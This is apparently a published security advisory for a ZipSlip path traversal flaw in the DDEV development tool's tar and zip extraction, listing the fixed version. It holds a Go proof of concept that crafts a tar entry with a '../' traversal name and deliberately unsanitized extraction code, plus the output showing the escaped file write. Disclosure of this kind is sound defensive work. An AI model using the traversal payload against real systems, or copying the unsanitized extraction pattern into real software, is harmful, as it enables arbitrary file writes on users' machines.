Advisory

GHSA-x2xq-qhjf-5mvg

Also known as: CVE-2026-32885, GO-2026-5735

Summary

DDEV has ZipSlip path traversal in tar and zip archive extraction

Details

Summary

The DDEV local dev tool has unsanitized extraction in both Untar() and Unzip() functions in pkg/archive/archive.go. This flaw allows users to download and extract archives from remote sources without path validation.

Vulnerable Code

pkg/archive/archive.go:235 (Untar):

fullPath := filepath.Join(dest, file.Name)  // NO SANITIZATION

pkg/archive/archive.go:342 (Unzip):

fullPath := filepath.Join(dest, file.Name)  // NO SANITIZATION

Both functions create directories via os.MkdirAll and files via os.Create using the unsanitized path.

Impact

Local development tool that downloads and extracts archives from remote sources (add-ons, updates). Malicious archive → arbitrary file write on developer machine.

Proof of Concept

package main

// PoC: ddev/ddev CWE-22 — ZipSlip in tar archive extraction
// Replicates the exact pattern from pkg/archive/archive.go:235 (Untar)
// and pkg/archive/archive.go:342 (Unzip) — both use filepath.Join(dest, name)
// without verifying the result stays under the destination directory.

import (
	"archive/tar"
	"bytes"
	"fmt"
	"io"
	"os"
	"path/filepath"
)

// Vulnerable extraction — mirrors pkg/archive/archive.go:235
func untarVulnerable(dst string, r io.Reader) error {
	tr := tar.NewReader(r)
	for {
		header, err := tr.Next()
		if err == io.EOF {
			break
		}
		if err != nil {
			return err
		}
		// VULNERABLE: identical to archive.go:235
		// fullPath := filepath.Join(dest, file.Name)
		fullPath := filepath.Join(dst, header.Name)

		switch header.Typeflag {
		case tar.TypeDir:
			os.MkdirAll(fullPath, 0755)
		case tar.TypeReg:
			os.MkdirAll(filepath.Dir(fullPath), 0755)
			f, _ := os.Create(fullPath)
			io.Copy(f, tr)
			f.Close()
		}
	}
	return nil
}

func main() {
	// Build malicious tar with traversal entry
	var buf bytes.Buffer
	tw := tar.NewWriter(&buf)
	payload := []byte("# PoC: ddev/ddev CWE-22 path traversal\n")
	tw.WriteHeader(&tar.Header{
		Name: "../../../../../../tmp/ddev_cwe22_poc",
		Mode: 0644,
		Size: int64(len(payload)),
	})
	tw.Write(payload)
	tw.Close()

	// Extract into temp directory
	extractDir, _ := os.MkdirTemp("", "ddev-poc-*")
	defer os.RemoveAll(extractDir)

	untarVulnerable(extractDir, &buf)

	// Verify escape
	escaped := "/tmp/ddev_cwe22_poc"
	if data, err := os.ReadFile(escaped); err == nil {
		fmt.Printf("[!!!] VULNERABLE — file written to: %s\n", escaped)
		fmt.Printf("[!!!] Content: %s", string(data))
		os.Remove(escaped)
	} else {
		fmt.Println("[OK] Not vulnerable")
	}
}

Output:

[!!!] VULNERABLE — file written to: /tmp/ddev_cwe22_poc
[!!!] Content: # PoC: ddev/ddev CWE-22 path traversal

> Note: Both Untar (archive.go:235) and Unzip (archive.go:342) use the same filepath.Join(dest, file.Name) pattern without containment checks. This PoC demonstrates the tar path; the zip path is analogously exploitable.

Suggested Fix

Add path containment check in both Untar and Unzip functions.

Credit

Kai Aizen (SnailSploit) — Adversarial AI & Security Research

Severity

Medium Basis: The source's own band: MODERATE

Dates

Published
2026-04-22 19:06 UTC
Modified
2026-06-25 23:11 UTC

Affected packages and fixes

github.com/ddev/ddev

Go · All systems

Affected

  • introduced 0, fixed 1.25.2 (semver)

Fixed versions

1.25.2

Fix

Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.

Check your own computer: guard packages check

View this record on OSV.dev

Source

Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0

Sources & licences